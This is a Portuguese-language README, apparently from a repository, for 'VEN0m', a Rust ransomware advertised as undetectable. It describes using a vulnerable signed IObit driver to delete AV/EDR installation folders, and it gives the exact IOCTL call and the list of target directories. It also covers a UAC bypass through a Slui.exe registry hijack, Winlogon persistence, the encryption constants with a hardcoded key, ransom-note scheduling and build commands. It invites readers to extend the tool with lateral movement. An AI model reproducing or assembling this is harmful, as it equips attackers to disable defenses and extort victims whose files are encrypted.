
Ransomware totalmente indetectável e evasivo escrito em Rust, utilizando a técnica BYOVD para desabilitar soluções de AV/EDR nos sistemas infectados.
https://github.com/user-attachments/assets/5a1fc9b5-a647-41f6-a152-7b9d97381adc
Este projeto demonstra como um driver legítimo e assinado pode ser armado para evadir defesas e implantar ransomware simulando um ataque cibernético real.
🚨 Testado no Windows 11 Pro 24H2. Totalmente indetectável a partir da data de lançamento inicial: 02-23-2026.
Evasão Contorno do UAC BitDefender ✅ ✅ Kaspersky ✅ ✅ MS Defender ✅ ❌
O VEN0m emprega a técnica clássica BYOVD, mas diferentemente do AV-EDR-KILLER, que explora um driver vulnerável que expõe a função de kernel ZwTerminateProcess a usuários não privilegiados, ele utiliza um driver vulnerável incluído no IObit Malware Fighter v12.1.0, o que é meio irônico já que o estamos usando para evasão.
O driver em questão é o IMFForceDelete.sys, que expõe um IOCTL que permite a usuários não privilegiados deletar arquivos arbitrariamente. Esta vulnerabilidade é rastreada como CVE-2025-26125, e o driver ainda não está na lista de bloqueio da Microsoft.
Para acionar a exclusão arbitrária, simplesmente invocamos uma chamada de API DeviceIoControl com o código IOCTL 0x8016E000, um ponteiro void longo para uma string unicode larga representando o arquivo alvo e o comprimento total multiplicado por 2 (já que wstr_file.len() fornece o número de elementos u16 e cada elemento tem 2 bytes) convertido como u32 para se adequar ao parâmetro DWORD da convenção de chamada da API.
> DeviceIoControl(hDriver, 0x8016E000, wstr_file.as_ptr() as LPVOID, (wstr_file.len() * 2) as u32, ptr::null_mut(), 0, &mut bytes_returned, ptr::null_mut())
[!NOTE]
+ ❓ Por que o AV-EDR-Killer falhou contra certos produtos AV/EDR?
A ideia principal era explorar um driver que possui IOCTLs desprotegidos expondo a função de kernel
ZwTerminateProcess, o que concede a qualquer aplicação em modo de usuário capacidades de terminação em nível de kernel. A fraqueza dessa técnica é que alguns produtos AV/EDR fazem hook na referida função e podem interceptar chamadas a ela.Outra técnica notável foi explorar primitivas de leitura/escrita arbitrárias de um determinado driver vulnerável para corrigir a memória e pular para uma função de terminação ainda mais poderosa,
PsTerminateProcess, que não é exportada pelo própriontoskrnl.exe. Isso também é muito suspeito, já que as defesas do host estão constantemente escaneando a memória. Referência : https://securelist.com/av-killer-exploiting-throttlestop-sys/117026/
Nós simplesmente destruímos as pastas de instalação e os executáveis no disco. Simples assim!
Isso parece ser um ponto cego para a maioria dos produtos de defesa, já que estamos mirando arquivos no disco em vez de manipular a memória ou fazer chamadas suspeitas. Usando nosso driver IMFForceDelete.sys, podemos forçar a exclusão de arquivos bloqueados com altos privilégios. Atacar diretamente um produto AV ou EDR parece contraintuitivo, pois os atacantes geralmente buscam discrição para contornar defesas em vez de confrontá-las.
Ao usar essa técnica, corrompemos os processos EDR/AV em execução até que eles fossem lentamente quebrados e parassem de funcionar corretamente, o que abriu as portas para causar estragos e implantar nossa carga de escolha, VEN0m.
const TARGETS: &[&str] = &[r"C:\Program Files (x86)\Kaspersky Lab", r"C:\Program Files\Bitdefender", r"C:\Program Files\Bitdefender Agent", r"C:\Program Files\Windows Defender",];
Para contornar os prompts do UAC, estamos sequestrando o fluxo de execução de um binário da Microsoft assinado, Slui.exe, que suporta auto-elevação sem acionar um prompt quando invocado com o verbo runas em um contexto administrativo.
A exploração central ocorre quando o Slui.exe tenta abrir uma chave de registro inexistente em HKCU\Software\Classes\Launcher.SystemSettings\Shell\Open\Command. Aproveitamos essa falha criando a chave ausente e inserindo DelegateExecute apontando para nossa carga atual, a fim de delegar a execução. Em seguida, acionamos a execução do Slui.exe com uma chamada de API ShellExecuteW com o verbo runas, resultando em um contorno bem-sucedido do UAC. A implementação completa pode ser encontrada em /src/uac.rs.
[!IMPORTANT] Não tenho certeza se esta é uma vulnerabilidade que deveria ser reportada. Se for, por favor, não hesite em me contatar pelo e-mail listado abaixo.
Como o VEN0m está contornando o UAC e executando em alta integridade, ele automatiza a extração do driver embutido para a pasta temporária e a criação de um serviço de kernel com nomes disfarçados como MicrosoftUpdate11.01. Inclui verificações muito úteis para iniciar automaticamente o serviço se parado ou para abster-se de criá-lo se já existir.
Após as defesas do host serem neutralizadas, você pode escolher qualquer técnica de persistência que desejar.
Optei por uma técnica simples de Winlogon Userinit, que aproveita a chave de registro Userinit em HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon. Por padrão, esta chave especifica userinit.exe como valor, que é executado no login do usuário para inicializar o ambiente do usuário.
No entanto, sequestramos isso anexando nosso caminho de carga também, separado por uma vírgula do userinit.exe legítimo, enquanto também deixamos uma cópia do malware em %LOCALAPPDATA%.
O ransomware escaneia unidades especificadas em busca de arquivos com extensões alvo, enquanto filtra contra uma lista de exclusão. Arquivos correspondentes são criptografados usando uma chave fixa de 32 bytes, e suas extensões são alteradas para .vnm.
Você pode personalizar o comportamento modificando as seguintes constantes:
const KEY: &[u8; 32] = b"G7m9Xq2vR4pL8bF1sW0cZ6kD3jN5yH8u";
const XClUSIONS: &[&str] = &["Windows", "Program Files", "Program Files (x86)", "ProgramData", "$Recycle.Bin", "All Users"];
const XTENSIONS: &[&str] = &["pdf", "doc", "xlms", "png", "jpg", "jpeg", "txt", "mp4"];
const DRV: &[&str] = &["C:\\", "D:\\", "E:\\", "F:\\"];
Ao finalizar a criptografia, o VEN0m altera o papel de parede da área de trabalho e coloca uma nota de resgate executável na área de trabalho. Ele também registra uma tarefa agendada que é executada a cada dois minutos para iniciar a GUI da nota, que exibe uma caveira chamativa ☠️.
/assets/wallpaper.jpg pela sua própria imagem./src/task.rsO VEN0m também inclui uma ferramenta de descriptografia Antid0te.exe🧪 que escaneia arquivos com a extensão .vnm e reverte a rotina de criptografia usando a mesma chave especificada para a criptografia.
[!WARNING] É importante salvar sua chave de criptografia para que você possa descriptografar seus arquivos usando o descriptografador Antid0te.exe.
O VEN0m é altamente modular e personalizável. Você pode alterar o comportamento do ransomware modificando as constantes fixas. Você também pode levá-lo ao próximo nível combinando-o com uma vulnerabilidade de escalonamento de privilégios ou uma técnica de movimento lateral de sua escolha :)
> cargo build --release --bin Note --features 1
> cargo build --release --bin Antid0te --features 2
> cargo build --release --bin VEN0m
[!CAUTION] Você é responsável por garantir que possui a devida autorização antes de usar esta ferramenta. O autor não assume nenhuma responsabilidade pelo mau uso.
Contribuições e sugestões são bem-vindas! Se você tiver consultas de negócios "éticas" ou quiser colaborar, sinta-se à vontade para entrar em contato: [email protected]
Feito com ❤️, inspirado por Petya, WannaCry e cia.
VEN0m é um gato preto de rua que me influenciou em minha jornada.